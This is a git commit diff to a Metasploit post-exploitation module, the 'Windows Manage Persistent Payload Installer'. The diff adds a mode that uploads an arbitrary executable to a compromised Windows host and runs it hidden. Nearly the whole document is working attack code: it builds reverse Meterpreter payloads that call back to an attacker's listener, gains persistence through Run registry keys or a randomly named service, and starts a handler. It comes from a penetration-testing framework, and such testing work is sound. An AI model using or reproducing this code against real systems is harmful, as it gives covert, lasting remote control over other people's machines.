Apply feature #6074
sinn3r
parent
4e95eb5d34
commit
5ba5bbf077
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@ -27,19 +27,28 @@ class Metasploit3 < Msf::Post
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Manage Persistent Payload Installer',
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'Description' => %q{
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This Module will create a boot persistent reverse Meterpreter session by
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installing on the target host the payload as a script that will be executed
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at user logon or system startup depending on privilege and selected startup
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method.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
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'Version' => '$Revision$',
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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'Name' => 'Windows Manage Persistent Payload Installer',
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'Description' => %q{
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This Module will create a boot persistent reverse Meterpreter session by
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installing on the target host the payload as a script that will be executed
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at user logon or system startup depending on privilege and selected startup
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method.
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REXE mode will transfer a binary of your choosing to remote host to be
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used as a payload.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Carlos Perez <carlos_perez[at]darkoperator.com>',
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'Merlyn drforbin Cousins <drforbin6[at]gmail.com>'
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],
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'Version' => '$Revision$',
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'Platform' => [ 'windows' ],
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'Actions' => [['TEMPLATE'], ['REXE']],
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'DefaultAction' => 'TEMPLATE',
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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@ -49,6 +58,9 @@ class Metasploit3 < Msf::Post
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OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM','SERVICE']]),
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OptBool.new('HANDLER', [ false, 'Start a Multi/Handler to Receive the session.', true]),
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OptString.new('TEMPLATE', [false, 'Alternate template Windows PE File to use.']),
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OptString.new('REXE',[false, 'The remote executable to use.','']),
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OptString.new('REXENAME',[false, 'The name to call exe on remote system','']),
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OptString.new('ACTION',[true, 'Use TEMPLATE or REXE mode.','TEMPLATE']),
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OptEnum.new('PAYLOAD_TYPE', [true, 'Meterpreter Payload Type.', 'TCP',['TCP','HTTP','HTTPS']])
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], self.class)
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@ -57,7 +69,6 @@ class Metasploit3 < Msf::Post
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OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format.",""]),
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OptString.new('ENCODER', [false, "Encoder name to use for encoding.",]),
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OptInt.new('ITERATIONS', [false, 'Number of iterations for encoding.']),
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], self.class)
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end
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@ -67,6 +78,8 @@ class Metasploit3 < Msf::Post
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print_status("Running module against #{sysinfo['Computer']}")
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# Set vars
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rexe = datastore['REXE']
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rexename = datastore['REXENAME']
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lhost = datastore['LHOST']
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lport = datastore['LPORT']
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opts = datastore['OPTIONS']
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@ -77,37 +90,56 @@ class Metasploit3 < Msf::Post
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host,port = session.tunnel_peer.split(':')
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payload = "windows/meterpreter/reverse_tcp"
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# Check that if a template is provided that it actually exists
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if datastore['TEMPLATE']
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if not ::File.exists?(datastore['TEMPLATE'])
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print_error "Template PE File does not exists!"
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return
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else
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template_pe = datastore['TEMPLATE']
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if datastore['ACTION'] == 'TEMPLATE'
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# Check that if a template is provided that it actually exists
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if datastore['TEMPLATE']
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if not ::File.exists?(datastore['TEMPLATE'])
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print_error "Template PE File does not exists!"
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return
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else
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template_pe = datastore['TEMPLATE']
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end
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end
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# Set the proper payload
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case datastore['STARTUP']
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when /TCP/i
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payload = "windows/meterpreter/reverse_tcp"
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when /HTTP/i
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payload = "windows/meterpreter/reverse_http"
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when /HTTPS/i
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payload = "windows/meterpreter/reverse_https"
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end
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# Create payload and script
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pay = create_payload(payload, lhost, lport, opts = "")
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raw = pay_gen(pay,encoder, iterations)
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script = create_script(delay, template_pe, raw)
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script_on_target = write_script_to_target(script)
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else
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if datastore['REXE'].nil? or datastore['REXE'].empty?
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print_error("Please define REXE")
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return
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end
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if datastore['REXENAME'].nil? or datastore['REXENAME'].empty?
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print_error("Please define REXENAME")
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return
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end
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if not ::File.exist?(datastore['REXE'])
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print_error("Rexe file does not exist!")
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return
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end
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raw = create_payload_from_file(rexe)
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script_on_target = write_exe_to_target(raw,rexename)
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end
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# Set the proper payload
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case datastore['STARTUP']
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when /TCP/i
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payload = "windows/meterpreter/reverse_tcp"
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when /HTTP/i
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payload = "windows/meterpreter/reverse_http"
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when /HTTPS/i
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payload = "windows/meterpreter/reverse_https"
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end
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# Create payload and script
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pay = create_payload(payload, lhost, lport, opts = "")
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raw = pay_gen(pay,encoder, iterations)
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script = create_script(delay, template_pe, raw)
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# Start handler if set
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create_multihand(payload, lhost, lport) if datastore['HANDLER']
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# Write script to %TEMP% on target
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script_on_target = write_script_to_target(script)
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# Initial execution of script
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target_exec(script_on_target)
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@ -119,6 +151,7 @@ class Metasploit3 < Msf::Post
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when /SERVICE/i
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install_as_service(script_on_target)
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end
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clean_rc = log_file()
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file_local_write(clean_rc,@clean_up_rc)
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print_status("Cleanup Meterpreter RC File: #{clean_rc}")
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@ -291,7 +324,9 @@ class Metasploit3 < Msf::Post
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#-------------------------------------------------------------------------------
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def target_exec(script_on_target)
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print_status("Executing script #{script_on_target}")
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proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
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proc = datastore['ACTION'] == 'REXE' ? session.sys.process.execute(script_on_target, nil, {'Hidden' => true})\
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: session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
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print_good("Agent executed with PID #{proc.pid}")
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@clean_up_rc << "kill #{proc.pid}\n"
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return proc.pid
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@ -305,7 +340,6 @@ class Metasploit3 < Msf::Post
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if(key)
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registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ")
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print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
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#file_local_write(@clean_up_rc, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n")
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else
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print_error("Error: failed to open the registry key for writing")
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end
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@ -313,14 +347,35 @@ class Metasploit3 < Msf::Post
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# Function to install payload as a service
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#-------------------------------------------------------------------------------
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def install_as_service(script_on_target)
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if not is_uac_enabled? or is_admin?
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if is_system? or is_admin?
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print_status("Installing as service..")
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nam = Rex::Text.rand_text_alpha(rand(8)+8)
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print_status("Creating service #{nam}")
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service_create(nam, nam, "cscript \"#{script_on_target}\"")
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datastore['ACTION'] == 'REXE' ? service_create(nam, nam, "cmd /c \"#{script_on_target}\"") : service_create(nam, nam, "cscript \"#{script_on_target}\"")
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@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
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else
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print_error("Insufficient privileges to create service")
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end
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end
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# Function for writing executable to target host
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#-------------------------------------------------------------------------------
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def write_exe_to_target(vbs,rexename)
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tempdir = session.fs.file.expand_path("%TEMP%")
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tempvbs = tempdir + "\\" + rexename
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fd = session.fs.file.new(tempvbs, "wb")
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fd.write(vbs)
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fd.close
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print_good("Persistent Script written to #{tempvbs}")
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@clean_up_rc << "rm #{tempvbs}\n"
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return tempvbs
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end
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def create_payload_from_file(exec)
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print_status("Reading Payload from file #{exec}")
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return ::IO.read(exec)
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end
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end
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